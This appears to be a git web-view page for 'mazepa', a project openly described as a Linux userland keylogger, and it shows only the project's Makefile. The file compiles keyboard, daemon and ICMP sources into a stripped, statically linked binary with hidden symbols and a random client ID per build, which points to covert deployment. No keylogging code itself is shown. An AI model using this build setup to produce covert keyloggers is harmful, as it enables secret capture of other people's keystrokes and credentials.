mazepa.git


mazepa

~ linux userland keylogger
git clone https://github.com/djnnvx/mazepa.git
log | files | refs | archive | README

Makefile (2511B)

      1 
      2 ifeq ($(MAKECMDGOALS), debug)
      3 	CLIENT_ID = DEBUG
      4 else
      5 	CLIENT_ID  = $(shell echo $$RANDOM | md5sum | head -c 10)
      6 
      7 	KEY   := $(shell echo $$RANDOM | md5sum | head -c 32)
      8 	IV    := $(shell echo $$RANDOM | md5sum | head -c 8)
      9 	BLOCK := $(shell echo $$RANDOM | md5sum | head -c 64)
     10 endif
     11 
     12 NAME		 	= mazepa_$(CLIENT_ID)
     13 CC			 	= clang
     14 RM			 	= rm -rf
     15 
     16 INCLUDES 	 	= -I./includes/
     17 LINK_FLAG    	=
     18 
     19 CFLAGS 			= -Wno-unused-command-line-argument -fPIC
     20 ifeq ($(MAKECMDGOALS), debug)
     21 	CFLAGS 			+= -g3 -DDEBUG -Wno-format-security -Wno-visibility -DCLIENTID=DEBUG -Wno-unsafe-buffer-usage
     22 	CFLAGS 			+= -Wno-unused-macros
     23 else
     24 	CFLAGS 		 	+= -Wall -Wextra -Os -Weverything -Wpedantic -Wl,-s -static -Wno-visibility
     25 	CFLAGS 			+= -flto -m64 -fvisibility=hidden -fvisibility-inlines-hidden -s -Wno-unsafe-buffer-usage
     26 	CFLAGS 			+= -Wno-padded -Wno-gnu-zero-variadic-macro-arguments -Wno-declaration-after-statement
     27 	CFLAGS 			+= -DCLIENTID=$(CLIENT_ID) # -DSTATIC_KEY=$(KEY) -DBLOCK=$(BLOCK) -DIV=$(IV)
     28 endif
     29 
     30 
     31 PATTERN 	 	= .c
     32 OBJPATTERN  	= .o
     33 SRC_DIR 		= ./sources
     34 OBJECT_DIR 		= ./objects
     35 
     36 vpath %$(PATTERN) $(SRC_DIR)
     37 
     38 MAIN		 	= main.c
     39 SRC 		 	= opt.c utils.c daemon.c kbd.c ringbuf.c icmp.c evloop.c
     40 
     41 
     42 COMBINED		= $(SRC) $(MAIN)
     43 OBJ 	 		= $(patsubst %$(PATTERN), $(OBJECT_DIR)/%$(OBJPATTERN), $(COMBINED))
     44 
     45 
     46 .PHONY: all
     47 all: directories $(NAME) ## generate PROD binary (you might have to run make fclean before)
     48 	@strip -s $(NAME)
     49 	@echo "   [*** BINARY STRIP DONE ***]"
     50 
     51 .PHONY: help
     52 help:
     53 	@echo "\033[34mtargets:\033[0m"
     54 	@perl -nle'print $& if m{^[a-zA-Z_-\d]+:.*?## .*$$}' $(MAKEFILE_LIST) | sort | awk 'BEGIN {FS = ":.*?## "}; {printf "\033[36m%-22s\033[0m %s\n", $$1, $$2}'
     55 
     56 
     57 .PHONY: debug
     58 debug: directories $(NAME) ## generate DEBUG binary (you might have to run make fclean before)
     59 	@echo "[ ** DEBUG BINARY COMPILED WITH $(CFLAGS) **]"
     60 
     61 
     62 $(OBJECT_DIR):
     63 	@mkdir -pv $@
     64 
     65 directories: | $(OBJECT_DIR)
     66 
     67 $(OBJECT_DIR)/%$(OBJPATTERN) : %$(PATTERN)
     68 	@$(CC) -o $@ -c $< $(CFLAGS) $(INCLUDES) $(LINK_FLAG)
     69 	@echo "Compiling $@"
     70 
     71 $(NAME): $(OBJ)
     72 	@$(CC) -o $(NAME) $^ $(CFLAGS) $(INCLUDES) $(LINK_FLAG)
     73 	@echo "[*** COMPILATION  SUCCESSFUL ***]"
     74 
     75 .PHONY: clean
     76 clean:  ## removes object files
     77 	@$(RM) objects
     78 
     79 .PHONY: fclean
     80 fclean: clean  ## removes all compilation artifacts
     81 	@$(RM) $(NAME) mazepa_*
     82 	@echo "[*** CLEAN ***]"
     83 
     84 .PHONY: gen-compile-commands
     85 gen-compile-commands: clean ## generate compile_commands.json
     86 	@bear -- make debug
     87 
     88 .PHONY: re  ## cleans everything and rebuild PROD binary
     89 re: fclean all
     90 
     91